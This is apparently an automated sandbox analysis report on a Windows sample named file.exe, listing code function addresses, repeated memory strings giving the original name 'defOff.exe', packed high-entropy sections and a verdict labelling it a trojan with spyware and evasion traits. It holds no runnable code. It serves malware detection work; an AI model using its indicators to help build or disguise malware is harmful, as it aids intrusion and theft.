Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1D608	0_2_05C1D608
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BED663	0_2_05BED663
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C08627	0_2_05C08627
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C299C4	0_2_05C299C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C249DA	0_2_05C249DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0A9E4	0_2_05C0A9E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF7998	0_2_05BF7998
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD698E	0_2_05BD698E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C241F6	0_2_05C241F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE3187	0_2_05BE3187
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C249A3	0_2_05C249A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2E1A9	0_2_05C2E1A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF81D0	0_2_05BF81D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C22941	0_2_05C22941
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C18149	0_2_05C18149
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2B94B	0_2_05C2B94B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C00950	0_2_05C00950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C23956	0_2_05C23956
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF3927	0_2_05BF3927
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDE91E	0_2_05BDE91E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C09165	0_2_05C09165
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C10173	0_2_05C10173
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1D173	0_2_05C1D173
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BED161	0_2_05BED161
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFA95E	0_2_05BFA95E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFB158	0_2_05BFB158
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE2157	0_2_05BE2157
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2F92E	0_2_05C2F92E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF214E	0_2_05BF214E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C27936	0_2_05C27936
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE114B	0_2_05BE114B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF4147	0_2_05BF4147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C128C6	0_2_05C128C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C118C9	0_2_05C118C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2B0CD	0_2_05C2B0CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF68A0	0_2_05BF68A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C190F1	0_2_05C190F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF2888	0_2_05BF2888
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C320FA	0_2_05C320FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C300F8	0_2_05C300F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C19883	0_2_05C19883
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1B883	0_2_05C1B883
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE48F8	0_2_05BE48F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD88F2	0_2_05BD88F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0008F	0_2_05C0008F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE28E2	0_2_05BE28E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0709E	0_2_05C0709E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDF0DD	0_2_05BDF0DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0B8A6	0_2_05C0B8A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2A0AA	0_2_05C2A0AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0F0BB	0_2_05C0F0BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C110BD	0_2_05C110BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDE033	0_2_05BDE033
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C25852	0_2_05C25852
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD981B	0_2_05BD981B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEA00E	0_2_05BEA00E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDC80F	0_2_05BDC80F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDD80F	0_2_05BDD80F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF580C	0_2_05BF580C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDF802	0_2_05BDF802
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFC87D	0_2_05BFC87D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0C806	0_2_05C0C806
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C27005	0_2_05C27005
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF5065	0_2_05BF5065
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C3181E	0_2_05C3181E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2083B	0_2_05C2083B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0A3C6	0_2_05C0A3C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C03BCA	0_2_05C03BCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2ABCC	0_2_05C2ABCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C31BD5	0_2_05C31BD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEA3A7	0_2_05BEA3A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2B3E5	0_2_05C2B3E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C30BEB	0_2_05C30BEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD9389	0_2_05BD9389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEAB86	0_2_05BEAB86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C073F8	0_2_05C073F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0CBF9	0_2_05C0CBF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1C3FE	0_2_05C1C3FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE73FF	0_2_05BE73FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C12B86	0_2_05C12B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDDBD5	0_2_05BDDBD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2C3AB	0_2_05C2C3AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C053AB	0_2_05C053AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C023B8	0_2_05C023B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1DBB8	0_2_05C1DBB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDCB33	0_2_05BDCB33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C04B50	0_2_05C04B50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C21B5E	0_2_05C21B5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C09B66	0_2_05C09B66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0BB6D	0_2_05C0BB6D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C3136C	0_2_05C3136C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C27373	0_2_05C27373
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1731B	0_2_05C1731B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF5363	0_2_05BF5363
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2D32F	0_2_05C2D32F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD9B49	0_2_05BD9B49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDC34A	0_2_05BDC34A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF1B46	0_2_05BF1B46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE02F9	0_2_05BE02F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFEAF6	0_2_05BFEAF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C30295	0_2_05C30295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF8AE3	0_2_05BF8AE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFF2DF	0_2_05BFF2DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2F2A3	0_2_05C2F2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE8AD8	0_2_05BE8AD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0DAAB	0_2_05C0DAAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE22CF	0_2_05BE22CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF92C7	0_2_05BF92C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C02ABA	0_2_05C02ABA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1F24D	0_2_05C1F24D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2DA4C	0_2_05C2DA4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C26259	0_2_05C26259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0625D	0_2_05C0625D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDB20F	0_2_05BDB20F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFE205	0_2_05BFE205
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2327D	0_2_05C2327D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDD27D	0_2_05BDD27D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFBA79	0_2_05BFBA79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1A20C	0_2_05C1A20C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2CA0D	0_2_05C2CA0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD7267	0_2_05BD7267
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0D226	0_2_05C0D226
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD8A5A	0_2_05BD8A5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE5A49	0_2_05BE5A49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0B23C	0_2_05C0B23C

Source: file.exe, 00000000.00000003.2372140774.000000000547C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374686161.0000000005816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381552909.0000000005936000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382305479.0000000005820000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2371910968.0000000005612000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376175010.000000000581D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2373939216.00000000058CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382687425.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380340374.0000000005A41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406353020.000000000542C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380115092.000000000581C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372830510.00000000058BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383177674.000000000581A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381963487.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374207420.0000000005812000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372290856.00000000058AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379066800.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383051149.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379261643.0000000005819000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386487887.0000000005814000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381829733.0000000005935000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379568855.0000000005921000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372999258.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372666137.00000000058B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376340042.000000000581C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374939933.0000000005815000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372431363.0000000005820000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381672432.0000000005817000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375918451.00000000058E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378385867.0000000005815000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2377660522.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406444853.0000000005387000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375101094.0000000005819000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376087393.00000000058E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382188885.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384237391.0000000005961000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374501212.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374296784.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2377942095.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381317388.000000000593B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382931794.0000000005948000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374858570.0000000005985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372915827.000000000596D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376255222.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372365506.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374585097.000000000597A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385999244.000000000595F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406444853.0000000005372000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375185260.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380571908.000000000592A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378573052.0000000005817000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375019548.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379948321.0000000005A31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378086577.000000000590B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383557356.0000000005957000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376432800.00000000058EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375362219.000000000581D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376518987.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375998711.000000000581E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376703670.00000000058FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383432763.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379456238.0000000005815000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374043748.0000000005816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374394692.0000000005814000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376801850.0000000005813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372743378.000000000581A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376607560.000000000581F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2377196928.00000000059E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372510283.0000000005472000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406382882.00000000053A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2376927546.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382558105.0000000005813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380986729.000000000592C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372067558.0000000005816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372588477.000000000581F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378292143.000000000590D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386231962.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378667865.0000000005906000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381107217.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385082515.0000000005812000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406501957.000000000085A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380772072.0000000005815000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383740279.0000000005813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374772423.00000000058CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382079520.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2377003197.0000000005813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372216307.0000000005813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380225922.0000000005930000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2377558378.000000000581F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378191558.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378762507.0000000005814000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382425964.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2374119619.00000000058CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379166432.0000000005920000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378958898.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381438320.0000000005812000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378856160.000000000590C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2375279985.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379355861.0000000005913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380462145.0000000005815000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2513282897.0000000005819000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383310564.000000000595E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382807386.0000000005813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2371987142.0000000005473000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381226540.0000000005816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2377098140.00000000058F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378478283.0000000005908000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9975065104166667
Source: file.exe	Static PE information: Section: bioduybg ZLIB complexity 0.9947613765105741

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@7/6

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

